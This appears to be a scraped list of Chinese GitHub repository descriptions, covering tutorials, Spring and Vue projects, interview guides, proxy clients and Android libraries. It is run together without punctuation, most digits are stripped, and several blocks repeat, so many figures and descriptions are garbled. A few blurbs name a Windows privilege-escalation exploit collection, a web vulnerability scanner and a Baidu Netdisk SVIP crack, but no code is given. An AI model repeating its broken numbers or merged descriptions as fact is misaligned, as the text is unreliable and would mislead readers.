演示与中文文档 下拉刷新 上拉加载 二级刷新 淘宝二楼智能下拉刷新框架 支持越界回弹 越界拖动 具有极强的扩展性 集成了几十种炫酷的Header和 Footer 该项目已成功集成 actuator 监控 admin 可视化监控 logback 日志 aopLog 通过AOP记录web请求日志 统一异常处理 json级别和页面级别 freemarker 模板引擎 thymeleaf 模板引擎 Beetl 模板引擎 Enjoy 模板引擎 JdbcTemplate 通用JDBC操作数据库 JPA 强大的ORM框架 mybatis 强大的ORM框架 通用Mapper 快速操作Mybatis PageHelper 通用的Mybatis分页插件 mybatis plus 快速操作Mybatis BeetlSQL 强大的ORM框架 u Python资源大全中文版 包括 Web框架 网络爬虫 模板引擎 数据库 数据可视化 图片处理等 由 开源前哨 和 Python开发者 微信公号团队维护更新 吴恩达老师的机器学习课程个人笔记To Be Top Javaer Java工程师成神之路循序渐进 学习博客Spring系列源码 mrbird cc谢谢可能是让你受益匪浅的英语进阶指南镜像网易云音乐 Node js API service快速 简单避免OOM的java处理Excel工具基于 Vue js 的小程序开发框架 从底层支持 Vue js 语法和构建工具体系 中文版 Apple 官方 Swift 教程本项目曾冲到全球第一 干货集锦见本页面最底部 另完整精致的纸质版 编程之法 面试和算法心得 已在京东 当当上销售好耶 是女装Security Guide for Developers 实用性开发人员安全须知 阿里巴巴 MySQL binlog 增量订阅 消费组件 ECMAScript 6入门 是一本开源的 JavaScript 语言教程 全面介绍 ECMAScript 6 新增的语法特性 C C 技术面试基础知识总结 包括语言 程序库 数据结构 算法 系统 网络 链接装载库等知识及面试经验 招聘 内推等信息 一款优秀的开源博客发布应用 Solutions to LeetCode by Go 1 % test coverage runtime beats 1 % LeetCode 题解分布式任务调度平台XXL JOB 谷粒 Chrome插件英雄榜 为优秀的Chrome插件写一本中文说明书 让Chrome插件英雄们造福人类公众号 加1 同步更新互联网公司技术架构 微信 淘宝 微博 腾讯 阿里 美团点评 百度 Google Facebook Amazon eBay的架构 欢迎PR补充IntelliJ IDEA 简体中文专题教程程序员技能图谱前端面试每日 3 1 以面试题来驱动学习 提倡每日学习与思考 每天进步一点 每天早上5点纯手工发布面试题 死磕自己 愉悦大家 4 道前端面试题全面覆盖小程序 软技能 华为鸿蒙操作系统 互联网首份程序员考公指南 由3位已经进入体制内的前大厂程序员联合献上 Mac微信功能拓展 微信插件 微信小助手 A plugin for Mac WeChat 机器学习 西瓜书 公式推导解析 在线阅读地址一款轻量级 高性能 功能强大的内网穿透代理服务器 支持tcp udp socks5 http等几乎所有流量转发 可用来访问内网网站 本地支付接口调试 ssh访问 远程桌面 内网dns解析 内网socks5代理等等 并带有功能强大的web管理端一款面向泛前端产品研发全生命周期的效率平台 文言文編程語言清华大学计算机系课程攻略面向云原生微服务的高可用流控防护组件 On Java 8 中文版 本文原文由知名 Hacker Eric S Raymond 所撰寫 教你如何正確的提出技術問題並獲得你滿意的答案 React Native指南汇集了各类react native学习资源 开源App和组件1 Days Of ML Code中文版千古前端图文教程 超详细的前端入门到进阶学习笔记 从零开始学前端 做一名精致优雅的前端工程师 公众号 千古壹号 作者 基于 React 的渐进式研发框架 ice work视频播放器支持弹幕 外挂字幕 支持滤镜 水印 gif截图 片头广告 中间广告 多个同时播放 支持基本的拖动 声音 亮度调节 支持边播边缓存 支持视频自带rotation的旋转 9 27 之类 重力旋转与手动旋转的同步支持 支持列表播放 列表全屏动画 视频加载速度 列表小窗口支持拖动 动画效果 调整比例 多分辨率切换 支持切换播放器 进度条小窗口预览 列表切换详情页面无缝播放 rtsp concat mpeg JumpServer 是全球首款开源的堡垒机 是符合 4A 的专业运维安全审计系统 Linux命令大全搜索工具 内容包含Linux命令手册 详解 学习 搜集 git io linux book Node js 包教不包会 by alsotang又一个小商城 litemall Spring Boot后端 Vue管理员前端 微信小程序用户前端 Vue用户移动端微信 跳一跳 Python 辅助Java资源大全中文版 包括开发库 开发工具 网站 博客 微信 微博等 由伯乐在线持续更新 python模拟登陆一些大型网站 还有一些简单的爬虫 希望对你们有所帮助 ️ 如果喜欢记得给个star哦 C 那些事 网络爬虫实战 淘宝 京东 网易云 B站 123 6 抖音 笔趣阁 漫画小说下载 音乐电影下载等deeplearning ai 吴恩达老师的深度学习课程笔记及资源 Spring Boot基础教程 Spring Boot 2 x版本连载中 帮助 Android App 进行组件化改造的路由框架 最接近原生APP体验的高性能框架基于Vue3 Element Plus 的后台管理系统解决方案程序员如何优雅的挣零花钱 2 版 升级为小书了 从Java基础 JavaWeb基础到常用的框架再到面试题都有完整的教程 几乎涵盖了Java后端必备的知识点spring boot 实践学习案例 是 spring boot 初学者及核心技术巩固的最佳实践 另外写博客 用 OpenWrite 最好用的 V2Ray 一键安装脚本 管理脚本中国程序员容易发音错误的单词 统计学习方法 的代码实现关于Python的面试题本项目将 动手学深度学习 Dive into Deep Learning 原书中的MXNet实现改为PyTorch实现 提高 Android UI 开发效率的 UI 库前端精读周刊 帮你理解最前沿 实用的技术 的奇技淫巧时间选择器 省市区三级联动 Python爬虫代理IP池 proxy pool LeetCode 刷题攻略 2 道经典题目刷题顺序 共6 w字的详细图解 视频难点剖析 5 余张思维导图 从此算法学习不再迷茫 来看看 你会发现相见恨晚 一个基于 electron 的音乐软件Flutter 超完整的开源项目 功能丰富 适合学习和日常使用 GSYGithubApp系列的优势 我们目前已经拥有四个版本 功能齐全 项目框架内技术涉及面广 完成度高 持续维护 配套文章 适合全面学习 对比参考 跨平台的开源Github客户端App 更好的体验 更丰富的功能 旨在更好的日常管理和维护个人Github 提供更好更方便的驾车体验Σ 同款Weex版本同款React Native版本 https g 这是一个用于显示当前网速 CPU及内存利用率的桌面悬浮窗软件 并支持任务栏显示 支持更换皮肤 是一个跨平台的强加密无特征的代理软件 零配置 V2rayU 基于v2ray核心的mac版客户端 用于科学上网 使用swift编写 支持vmess shadowsocks socks5等服务协议 支持订阅 支持二维码 剪贴板导入 手动配置 二维码分享等算法模板 最科学的刷题方式 最快速的刷题路径 你值得拥有 经典编程书籍大全 涵盖 计算机系统与网络 系统架构 算法与数据结构 前端开发 后端开发 移动开发 数据库 测试 项目与团队 程序员职业修炼 求职面试等wangEditor 轻量级web富文本框前端跨框架跨平台框架 每个 JavaScript 工程师都应懂的33个概念 leonardomso一个可以观看国内主流视频平台所有视频的客户端Android开发人员不得不收集的工具类集合 支付宝支付 微信支付 统一下单 微信分享 Zip4j压缩 支持分卷压缩与加密 一键集成UCrop选择圆形头像 一键集成二维码和条形码的扫描与生成 常用Dialog WebView的封装可播放视频 仿斗鱼滑动验证码 Toast封装 震动 GPS Location定位 图片缩放 Exif 图片添加地理位置信息 经纬度 蛛网等级 颜色选择器 ArcGis VTPK 编译运行一下说不定会找到惊喜 123 6 购票助手 支持集群 多账号 多任务购票以及 Web 页面管理 编程随想 收藏的电子书清单 多个学科 含下载链接 Banner 2 来了 Android广告图片轮播控件 内部基于ViewPager2实现 Indicator和UI都可以自定义 零代码 热更新 自动化 ORM 库 后端接口和文档零代码 前端 客户端 定制返回 JSON 的数据和结构 Linux Windows macOS 跨平台 V2Ray 客户端 支持使用 C Qt 开发 可拓展插件式设计 walle 瓦力 Devops开源项目代码部署平台基于 node js Mongodb 构建的后台系统 js 源码解析一个涵盖六个专栏分布式消息队列 分布式事务的仓库 希望胖友小手一抖 右上角来个 Star 感恩 1 24基于 vue element ui 的后台管理系统磁力链接聚合搜索中华人民共和国行政区划 省级 省份直辖市自治区 地级 城市 县级 区县 乡级 乡镇街道 村级 村委会居委会 中国省市区镇村二级三级四级五级联动地址数据 iOS开发常用三方库 插件 知名博客等等LeetCode题解 151道题完整版/中文文案排版指北最良心的 Python 教程 业内为数不多致力于极致体验的超强全自研跨平台 windows android iOS 流媒体内核 通过模块化自由组合 支持实时RTMP推流 RTSP推流 RTMP播放器 RTSP播放器 录像 多路流媒体转发 音视频导播 动态视频合成 音频混音 直播互动 内置轻量级RTSP服务等 比快更快 业界真正靠谱的超低延迟直播SDK 1秒内 低延迟模式下2 4 ms 一个 PHP 微信 SDK ️ 跨平台桌面端视频资源播放器 简洁无广告 免费高颜值 后台管理主线版本基于三者并行开发维护 同时支持电脑 手机 平板 切换分支查看不同的vue版本 element plus版本已发布 vue3 vue3 vue vue3 x vue js 程序无国界 但程序员有国界 中国国家尊严不容挑衅 如果您在特殊时期 此项目是机器学习 Machine Learning 深度学习 Deep Learning NLP面试中常考到的知识点和代码实现 也是作为一个算法工程师必会的理论基础知识 夜读 通过 bilibili 在线直播的方式分享 Go 相关的技术话题 每天大家在微信 telegram Slack 上及时沟通交流编程技术话题 GitHubDaily 分享内容定期整理与分类 欢迎推荐 自荐项目 让更多人知道你的项目 支持多家云存储的云盘系统机器学习相关教程DataX是阿里云DataWorks数据集成的开源版本 这里是写博客的地方 Halfrost Field 冰霜之地mall学习教程 架构 业务 技术要点全方位解析 mall项目 4 k star 是一套电商系统 使用现阶段主流技术实现 涵盖了等技术 采用Docker容器化部署 chick 是使用 Node js 和 MongoDB 开发的社区系统一个非常适合IT团队的在线API文档 技术文档工具汇总各大互联网公司容易考察的高频leetcode题 1 Chinese Word Vectors 上百种预训练中文词向量 Android开源弹幕引擎 烈焰弹幕使 ~深度学习框架PyTorch 入门与实战 网易云音乐命令行版本 对开发人员有用的定律 理论 原则和模式TeachYourselfCS 的中文翻译高颜值的第三方网易云播放器 支持 Windows macOS Linux spring cloud vue oAuth2 全家桶实战 前后端分离模拟商城 完整的购物流程 后端运营平台 可以实现快速搭建企业级微服务项目 支持微信登录等三方登录 Chinese sticker pack More joy 表情包的博物馆 Github最有毒的仓库 中国表情包大集合 聚欢乐 Lantern官方版本下载 蓝灯 翻墙 代理 科学上网 外网 加速器 梯子 路由一款入门级的人脸 视频 文字检测以及识别的项目 vue2 vue router vuex 入门项目PanDownload的个人维护版本 一个基于Spring Boot MyBatis的种子项目 用于快速构建中小型API RESTful API项目 iOS interview questions iOS面试题集锦 附答案 学习qq群或 Telegram 群交流为互联网IT人打造的中文版awesome go强大 可定制 易扩展的 ViewPager 指示器框架 是的最佳替代品 支持角标 更支持在非ViewPager场景下使用 使用hide show 切换Fragment或使用se Kubernetes中文指南 云原生应用架构实践手册For macOS 百度网盘 破解SVIP 下载速度限制 架构师技术图谱 助你早日成为架构师mall admin web是一个电商后台管理系统的前端项目 基于Vue Element实现 主要包括商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等功能 网易云音乐第三方 编程随想 整理的 太子党关系网络 专门揭露赵国的权贵基于gin vue搭建的后台管理系统框架 集成jwt鉴权 权限管理 动态路由 分页封装 多点登录拦截 资源权限 上传下载 代码生成器 表单生成器 通用工作流等基础功能 五分钟一套CURD前后端代码 目VUE3版本正在重构 欢迎issue和pr 27天成为Java大神一个基于浏览器端 JS 实现的在线代理编程电子书 电子书 编程书籍 包括人工智能 大数据类 并发编程 数据库类 数据挖掘 新面试题 架构设计 算法系列 计算机类 设计模式 软件测试 重构优化 等更多分类ADB Usage Complete ADB 用法大全二维码生成器 支持 gif 动态图片二维码 Vim 从入门到精通阿布量化交易系统 股票 期权 期货 比特币 机器学习 基于python的开源量化交易 量化投资架构一个简洁优雅的hexo主题 Wiki of OI ICPC for everyone 某大型游戏线上攻略 内含炫酷算术魔法 Google 开源项目风格指南 中文版 Git AWS Google 镜像 SS SSR VMESS节点行业研究报告的知识储备库 cim cross IM 适用于开发者的分布式即时通讯系统微信小程序开源项目库汇总每天更新 全网热门 BT Tracker 列表 天用Go动手写 从零实现系列强大的哔哩哔哩增强脚本 下载视频 音乐 封面 弹幕 简化直播间 评论区 首页 自定义顶栏 删除广告 夜间模式 触屏设备支持Evil Huawei 华为作过的恶Android上一个优雅 万能自定义UI 仿iOS 支持垂直 水平方向切换 支持周视图 自定义周起始 性能高效的日历控件 支持热插拔实现的UI定制 支持标记 自定义颜色 农历 自定义月视图各种显示模式等 Canvas绘制 速度快 占用内存低 你真的想不到日历居然还可以如此优雅已不再维护科学上网插件的离线安装包储存在这里ThinkPHP Framework 十年匠心的高性能PHP框架 Java 程序员眼中的 Linux 一个支持多选 选原图和视频的图片选择器 同时有预览 裁剪功能 支持hsweb haʊs wɛb 是一个基于spring boot 2 x开发 首个使用全响应式编程的企业级后台管理系统基础项目 学习强国 懒人刷分工具 自动学习wxParse 微信小程序富文本解析自定义组件 支持HTML及markdown解析 newbee mall 项目 新蜂商城 是一套电商系统 包括 newbee mall 商城系统及 newbee mall admin 商城后台管理系统 基于 Spring Boot 2 X 及相关技术栈开发 前台商城系统包含首页门户 商品分类 新品上线 首页轮播 商品推荐 商品搜索 商品展示 购物车 订单结算 订单流程 个人订单管理 会员中心 帮助中心等模块 后台管理系统包含数据面板 轮播图管理 商品管理 订单管理 会员管理 分类管理 设置等模块 最全的前端资源汇总仓库 包括前端学习 开发资源 求职面试等 中文翻译手写实现李航 统计学习方法 书中全部算法 Python 抖音机器人 论如何在抖音上找到漂亮小姐姐? ️A static blog writing client 一个静态博客写作客户端 超级速查表 编程语言 框架和开发工具的速查表 单个文件包含一切你需要知道的东西 迁移学习前端低代码框架 通过 JSON 配置就能生成各种页面 技术面试最后反问面试官的话Machine Learning Yearning 中文版 机器学习训练秘籍 Andrew Ng 著越来越多的网站具有反爬虫特性 有的用图片隐藏关键数据 有的使用反人类的验证码 建立反反爬虫的代码仓库 通过与不同特性的网站做斗争 无恶意 提高技术 欢迎提交难以采集的网站 因工作原因 项目暂停 本项目收藏这些年来看过或者听过的一些不错的常用的上千本书籍 没准你想找的书就在这里呢 包含了互联网行业大多数书籍和面试经验题目等等 有人工智能系列 常用深度学习框架TensorFlow pytorch keras NLP 机器学习 深度学习等等 大数据系列 Spark Hadoop Scala kafka等 程序员必修系列 C C java 数据结构 linux 设计模式 数据库等等 人人影视bot 完全对接人人影视全部无删减资源Spring Cloud基础教程 持续连载更新中一个用于在 macOS 上平滑你的鼠标滚动效果或单独设置滚动方向的小工具 让你的滚轮爽如触控板阿里妈妈前端团队出品的开源接口管理工具RAP第二代超轻量级中文ocr 支持竖排文字识别 支持ncnn mnn tnn推理总模型仅4 7M 微信全平台 SDK Senparc Weixin for C 支持 NET Framework 及 NET Core NET 6 已支持微信公众号 小程序 小游戏 企业号 企业微信 开放平台 微信支付 JSSDK 微信周边等全平台 WeChat SDK for C 中文独立博客列表高效率 QQ 机器人支持库支持定制任何播放器SDK和控制层 OpenPower工作组收集汇总的医院开放数据Xray 基于 Nginx 的 VLESS XTLS 一键安装脚本 FlutterDemo合集 今天你fu了吗莫烦Python 中文AI教学中国特色 TabBar 一行代码实现 Lottie 动画TabBar 支持中间带 号的TabBar样式 自带红点角标 支持动态刷新 Flutter豆瓣客户端 Awesome Flutter Project 全网最1 %还原豆瓣客户端 首页 书影音 小组 市集及个人中心 一个不拉 img xuvip top douyademo mp4 基于SpringCloud2 1的微服务开发脚手架 整合了等 服务治理方面引入等 让项目开发快速进入业务开发 而不需过多时间花费在架构搭建上 持续更新中基于 Vue2 和 ECharts 封装的图表组件 SSR 去广告ACL规则 SS完整GFWList规则 Clash规则碎片 Telegram频道订阅地址和我一步步部署 kubernetes 集群搜集 整理 维护实用规则 中文自然语言处理相关资料基于SOA架构的分布式电商购物商城 前后端分离 前台商城 全家桶 后台管理系统等What happens when 的中文翻译 原仓库QMUI iOS 致力于提高项目 UI 开发效率的解决方案新型冠状病毒防疫信息收集平台告别枯燥 致力于打造 Python 实用小例子在线制作 sorry 为所欲为 的gifNodejs学习笔记以及经验总结 公众号 程序猿小卡 李宏毅 机器学习 笔记 在线阅读地址 Vue js 源码分析V部落 Vue SpringBoot实现的多用户博客管理平台 Android Signature V2 Scheme签名下的新一代渠道包打包神器Autoscroll Banner 无限循环图片 文字轮播器 多种编程语言实现 LeetCode 剑指 Offer 第 2 版 程序员面试金典 第 6 版 题解一套高质量的微信小程序 UI 组件库飞桨 官方模型库 包含多种学术前沿和工业场景验证的深度学习模型 中文 Python 笔记专门为刚开始刷题的同学准备的算法基地 没有最细只有更细 立志用动画将晦涩难懂的算法说的通俗易懂 版入门实例代码 实战教程 是一个高性能且低损耗的 goroutine 池 CVPR 2 21 论文和开源项目合集有 有 Python进阶 Intermediate Python 中文版 机器人视觉 移动机器人 VS SLAM ORB SLAM2 深度学习目标检测 yolov3 行为检测 opencv PCL 机器学习 无人驾驶后台管理系统解决方案创建在线课程 学术简历或初创网站 Chrome插件开发全攻略 配套完整Demo 欢迎clone体验QUANTAXIS 支持任务调度 分布式部署的 股票 期货 期权 港股 虚拟货币 数据 回测 模拟 交易 可视化 多账户 纯本地量化解决方案微信调试 各种WebView样式调试 手机浏览器的页面真机调试 便捷的远程调试手机页面 抓包工具 支持 HTTPS 无需USB连接设备 rich text 富文本编辑器 汉字拼音 hàn zì pīn yīn面向开发人员梳理的代码安全指南以撸代码的形式学习Python提供同花顺客户端 国金 华泰客户端 雪球的基金 股票自动程序化交易以及自动打新 支持跟踪 joinquant ricequant 模拟交易 和 实盘雪球组合 量化交易组件搜狐视频 sohu tv Redis私有云平台spring boot打造文件文档在线预览项目计算机基础 计算机网络 操作系统 数据库 Git 面试问题全面总结 包含详细的follow up question以及答案 全部采用 问题 追问 答案 的形式 即拿即用 直击互联网大厂面试 可用于模拟面试 面试前复习 短期内快速备战面试 首款微信 macOS 客户端撤回拦截与多开windows kernel exploits Windows平台提权漏洞集合权限管理系统 预览地址 47 1 4 7 138 loginpkuseg多领域中文分词工具一款完善的安全评估工具 支持常见 web 安全问题扫描和自定义 poc 使用之前务必先阅读文档零反射全动态Android插件框架Python入门网络爬虫之精华版分布式配置管理平台 中文 iOS Mac 开发博客列表周志华 机器学习 又称西瓜书是一本较为全面的书籍 书中详细介绍了机器学习领域不同类型的算法 例如 监督学习 无监督学习 半监督学习 强化学习 集成降维 特征选择等 记录了本人在学习过程中的理解思路与扩展知识点 希望对新人阅读西瓜书有所帮助 国内首个Spring Cloud微服务化RBAC的管理平台 核心采用前端采用d2 admin中台框架 记得上边点个star 关注更新Apache ECharts incubating 的微信小程序版本C 资源大全中文版 标准库 Web应用框架 人工智能 数据库 图片处理 机器学习 日志 代码分析等 由 开源前哨 和 CPP开发者 微信公号团队维护更新 stackoverflow上Java相关回答整理翻译 基于Google Flutter的WanAndroid客户端 支持Android和iOS 包括BLoC RxDart 国际化 主题色 启动页 引导页 本代码库是作者小傅哥多年从事一线互联网 Java 开发的学习历程技术汇总 旨在为大家提供一个清晰详细的学习教程 侧重点更倾向编写Java核心内容 如果本仓库能为您提供帮助 请给予支持 关注 点赞 分享 C 资源大全中文版 包括了 构建系统 编译器 数据库 加密 初中高的教程 指南 书籍 库等 NET m3u8 downloader 开源的命令行m3u8 HLS dash下载器 支持普通AES 128 CBC解密 多线程 自定义请求头等 支持简体中文 繁体中文和英文 English Supported 国内低代码平台从业者交流tcc transaction是TCC型事务java实现设计模式 Golang实现 研磨设计模式 读书笔记Vue数据可视化组件库 类似阿里DataV 大屏数据展示 提供SVG的边框及装饰 图表 水位图 飞线图等组件 简单易用 长期更新 React版已发布 自己动手做聊天机器人教程 RecyclerView侧滑菜单 Item拖拽 滑动删除Item 自动加载更多 HeaderView FooterView Item分组黏贴 腾讯物联网终端操作系统一个小巧 轻量的浏览器内核 用来取代wke和libcef包含美颜等4 余种实时滤镜相机 可拍照 录像 图片修改springboot 框架与其它组件结合如等用深度学习对对联 技术面试必备基础知识 Leetcode 计算机操作系统 计算机网络 系统设计 Java学习 面试指南 一份涵盖大部分 Java 程序员所需要掌握的核心知识 准备 Java 面试 首选 JavaGuide 用动画的形式呈现解LeetCode题目的思路 互联网 Java 工程师进阶知识完全扫盲 涵盖高并发 分布式 高可用 微服务 海量数据处理等领域知识mall项目是一套电商系统 包括前台商城系统及后台管理系统 基于SpringBoot MyBatis实现 采用Docker容器化部署 前台商城系统包含首页门户 商品推荐 商品搜索 商品展示 购物车 订单流程 会员中心 客户服务 帮助中心等模块 后台管理系统包含商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等模块 GitHub中文排行榜 帮助你发现高分优秀中文项目 更高效地吸收国人的优秀经验成果 榜单每周更新一次 敬请关注 算法面试 算法知识 针对小白的算法训练 还包括 1 阿里 字节 滴滴 百篇大厂面经汇总 2 千本开源电子书 3 百张思维导图 右侧来个 star 吧 English version supported 诊断利器Arthas教程 技术栈示例代码 快速简单上手教程 http下载工具 基于http代理 支持多连接分块下载阿里云计算平台团队出品 为监控而生的数据库连接池 企业级低代码平台 前后端分离架构强大的代码生成器让前后端代码一键生成 无需写任何代码 引领新的开发模式OnlineCoding 代码生成 手工MERGE 帮助Java项目解决7 %重复工作 让开发更关注业务 既能快速提高效率 帮助公司节省成本 同时又不失灵活性 下拉刷新 上拉加载 二级刷新 淘宝二楼智能下拉刷新框架 支持越界回弹 越界拖动 具有极强的扩展性 集成了几十种炫酷的Header和 Footer 该项目已成功集成 actuator 监控 admin 可视化监控 logback 日志 aopLog 通过AOP记录web请求日志 统一异常处理 json级别和页面级别 freemarker 模板引擎 thymeleaf 模板引擎 Beetl 模板引擎 Enjoy 模板引擎 JdbcTemplate 通用JDBC操作数据库 JPA 强大的ORM框架 mybatis 强大的ORM框架 通用Mapper 快速操作Mybatis PageHelper 通用的Mybatis分页插件 mybatis plus 快速操作Mybatis BeetlSQL 强大的ORM框架 u 微人事是一个前后端分离的人力资源管理系统 项目采用SpringBoot Vue开发 秒杀系统设计与实现 互联网工程师进阶与分析 To Be Top Javaer Java工程师成神之路循序渐进 学习博客Spring系列源码 mrbird cc快速 简单避免OOM的java处理Excel工具阿里巴巴 MySQL binlog 增量订阅 消费组件 一款优秀的开源博客发布应用 分布式任务调度平台XXL JOB 一款面向泛前端产品研发全生命周期的效率平台 面向云原生微服务的高可用流控防护组件 视频播放器支持弹幕 外挂字幕 支持滤镜 水印 gif截图 片头广告 中间广告 多个同时播放 支持基本的拖动 声音 亮度调节 支持边播边缓存 支持视频自带rotation的旋转 9 27 之类 重力旋转与手动旋转的同步支持 支持列表播放 列表全屏动画 视频加载速度 列表小窗口支持拖动 动画效果 调整比例 多分辨率切换 支持切换播放器 进度条小窗口预览 列表切换详情页面无缝播放 rtsp concat mpeg 又一个小商城 litemall Spring Boot后端 Vue管理员前端 微信小程序用户前端 Vue用户移动端基于Spring SpringMVC Mybatis分布式敏捷开发系统架构 提供整套公共微服务服务模块 集中权限管理 单点登录 内容管理 支付中心 用户管理 支持第三方登录 微信平台 存储系统 配置中心 日志分析 任务和通知等 支持服务治理 监控和追踪 努力为中小型企业打造全方位J2EE企业级开发解决方案 项目基于的前后端分离的后台管理系统 项目采用分模块开发方式 权限控制采用 RBAC 支持数据字典与数据权限管理 支持一键生成前后端代码 支持动态路由 史上最简单的Spring Cloud教程源码 CAT 作为服务端项目基础组件 提供了 Java C C Node js Python Go 等多语言客户端 已经在美团点评的基础架构中间件框架 MVC框架 RPC框架 数据库框架 缓存框架等 消息队列 配置系统等 深度集成 为美团点评各业务线提供系统丰富的性能指标 健康状况 实时告警等 spring boot 实践学习案例 是 spring boot 初学者及核心技术巩固的最佳实践 另外写博客 用 OpenWrite Spring Boot基础教程 Spring Boot 2 x版本连载中 帮助 Android App 进行组件化改造的路由框架 提高 Android UI 开发效率的 UI 库时间选择器 省市区三级联动 Luban 鲁班可能是最接近微信朋友圈的图片压缩算法 Gitee 最有价值开源项目 小而全而美的第三方登录开源组件 目前已支持Github Gitee 微博 钉钉 百度 Coding 腾讯云开发者平台 OSChina 支付宝 QQ 微信 淘宝 Google Facebook 抖音 领英 小米 微软 今日头条人人 华为 企业微信 酷家乐 Gitlab 美团 饿了么 推特 飞书 京东 阿里云 喜马拉雅 Amazon Slack和 Line 等第三方平台的授权登录 Login so easy 今日头条屏幕适配方案终极版 一个极低成本的 Android 屏幕适配方案 Banner 2 来了 Android广告图片轮播控件 内部基于ViewPager2实现 Indicator和UI都可以自定义 零代码 热更新 自动化 ORM 库 后端接口和文档零代码 前端 客户端 定制返回 JSON 的数据和结构一个涵盖六个专栏分布式消息队列 分布式事务的仓库 希望胖友小手一抖 右上角来个 Star 感恩 1 24Mybatis通用分页插件OkGo 3 震撼来袭 该库是基于 协议 封装了 OkHttp 的网络请求框架 比 Retrofit 更简单易用 支持 RxJava RxJava2 支持自定义缓存 支持批量断点下载管理和批量上传管理功能含 Flink 入门 概念 原理 实战 性能调优 源码解析等内容 涉及等内容的学习案例 还有 Flink 落地应用的大型项目案例 PVUV 日志存储 百亿数据实时去重 监控告警 分享 欢迎大家支持我的专栏 大数据实时计算引擎 Flink 实战与性能优化 安卓平台上的JavaScript自动化工具 ️一个整合了大量主流开源项目高度可配置化的 Android MVP 快速集成框架 Spring源码阅读大数据入门指南 android 4 4以上沉浸式状态栏和沉浸式导航栏管理 适配横竖屏切换 刘海屏 软键盘弹出等问题 可以修改状态栏字体颜色和导航栏图标颜色 以及不可修改字体颜色手机的适配 适用于一句代码轻松实现 以及对bar的其他设置 详见README 简书请参考 www jianshu com p 2a884e211a62业内为数不多致力于极致体验的超强全自研跨平台 windows android iOS 流媒体内核 通过模块化自由组合 支持实时RTMP推流 RTSP推流 RTMP播放器 RTSP播放器 录像 多路流媒体转发 音视频导播 动态视频合成 音频混音 直播互动 内置轻量级RTSP服务等 比快更快 业界真正靠谱的超低延迟直播SDK 1秒内 低延迟模式下2 4 ms DataX是阿里云DataWorks数据集成的开源版本 mall学习教程 架构 业务 技术要点全方位解析 mall项目 4 k star 是一套电商系统 使用现阶段主流技术实现 涵盖了等技术 采用Docker容器化部署 Android开源弹幕引擎 烈焰弹幕使 ~spring cloud vue oAuth2 全家桶实战 前后端分离模拟商城 完整的购物流程 后端运营平台 可以实现快速搭建企业级微服务项目 支持微信登录等三方登录 一个基于Spring Boot MyBatis的种子项目 用于快速构建中小型API RESTful API项目 强大 可定制 易扩展的 ViewPager 指示器框架 是的最佳替代品 支持角标 更支持在非ViewPager场景下使用 使用hide show 切换Fragment或使用se 27天成为Java大神安卓学习笔记 cim cross IM 适用于开发者的分布式即时通讯系统Android上一个优雅 万能自定义UI 仿iOS 支持垂直 水平方向切换 支持周视图 自定义周起始 性能高效的日历控件 支持热插拔实现的UI定制 支持标记 自定义颜色 农历 自定义月视图各种显示模式等 Canvas绘制 速度快 占用内存低 你真的想不到日历居然还可以如此优雅hsweb haʊs wɛb 是一个基于spring boot 2 x开发 首个使用全响应式编程的企业级后台管理系统基础项目 newbee mall 项目 新蜂商城 是一套电商系统 包括 newbee mall 商城系统及 newbee mall admin 商城后台管理系统 基于 Spring Boot 2 X 及相关技术栈开发 前台商城系统包含首页门户 商品分类 新品上线 首页轮播 商品推荐 商品搜索 商品展示 购物车 订单结算 订单流程 个人订单管理 会员中心 帮助中心等模块 后台管理系统包含数据面板 轮播图管理 商品管理 订单管理 会员管理 分类管理 设置等模块 mall swarm是一套微服务商城系统 采用了等核心技术 同时提供了基于Vue的管理后台方便快速搭建系统 mall swarm在电商业务的基础集成了注册中心 配置中心 监控中心 网关等系统功能 文档齐全 附带全套Spring Cloud教程 阅读是一款可以自定义来源阅读网络内容的工具 为广大网络文学爱好者提供一种方便 快捷舒适的试读体验 Spring Cloud基础教程 持续连载更新中阿里巴巴分布式数据库同步系统 解决中美异地机房 基于谷歌最新AAC架构 MVVM设计模式的一套快速开发库 整合OkRxJava Retrofit Glide等主流模块 满足日常开发需求 使用该框架可以快速开发一个高质量 易维护的Android应用 基于SpringCloud2 1的微服务开发脚手架 整合了等 服务治理方面引入等 让项目开发快速进入业务开发 而不需过多时间花费在架构搭建上 持续更新中基于SOA架构的分布式电商购物商城 前后端分离 前台商城 全家桶 后台管理系统等是 难得一见 的 Jetpack MVVM 最佳实践 在 以简驭繁 的代码中 对 视图控制器 乃至 标准化开发模式 形成正确 深入的理解 V部落 Vue SpringBoot实现的多用户博客管理平台 Android Signature V2 Scheme签名下的新一代渠道包打包神器即时通讯 IM 系统多种编程语言实现 LeetCode 剑指 Offer 第 2 版 程序员面试金典 第 6 版 题解专门为刚开始刷题的同学准备的算法基地 没有最细只有更细 立志用动画将晦涩难懂的算法说的通俗易懂 ansj分词 ict的真正java实现 分词效果速度都超过开源版的ict 中文分词 人名识别 词性标注 用户自定义词典 book 任阅 网络小说阅读器 3D翻页效果 txt pdf epub书籍阅读 Wifi传书 LeetCode刷题记录与面试整理mybatis generator界面工具 让你生成代码更简单更快捷Spring Cloud 学习案例 服务发现 服务治理 链路追踪 服务监控等 XPopup2 版本重磅来袭 2倍以上性能提升 带来可观的动画性能优化和交互细节的提升 功能强大 交互优雅 动画丝滑的通用弹窗 可以替代等组件 自带十几种效果良好的动画 支持完全的UI和动画自定义搜狐视频 sohu tv Redis私有云平台spring boot打造文件文档在线预览项目权限管理系统 预览地址 47 1 4 7 138 login零反射全动态Android插件框架分布式配置管理平台 通用 IM 聊天 UI 组件 已经同时支持 Android iOS RN 手把手教你整合最优雅SSM框架 SpringMVC Spring MyBatis换肤框架 极低的学习成本 极好的用户体验 一行 代码就可以实现换肤 你值得拥有 JVM 底层原理最全知识总结 国内首个Spring Cloud微服务化RBAC的管理平台 核心采用前端采用d2 admin中台框架 记得上边点个star 关注更新tcc transaction是TCC型事务java实现 RecyclerView侧滑菜单 Item拖拽 滑动删除Item 自动加载更多 HeaderView FooterView Item分组黏贴 包含美颜等4 余种实时滤镜相机 可拍照 录像 图片修改springboot 框架与其它组件结合如等安卓选择器类库 包括日期及时间选择器 可用于出生日期 营业时间等 单项选择器 可用于性别 民族 职业 学历 星座等 二三级联动选择器 可用于车牌号 基金定投日期等 城市地址选择器 分省级 地市级及区县级 数字选择器 可用于年龄 身高 体重 温度等 日历选日期择器 可用于酒店及机票预定日期 颜色选择器 文件及目录选择器等 Java工程师面试复习指南 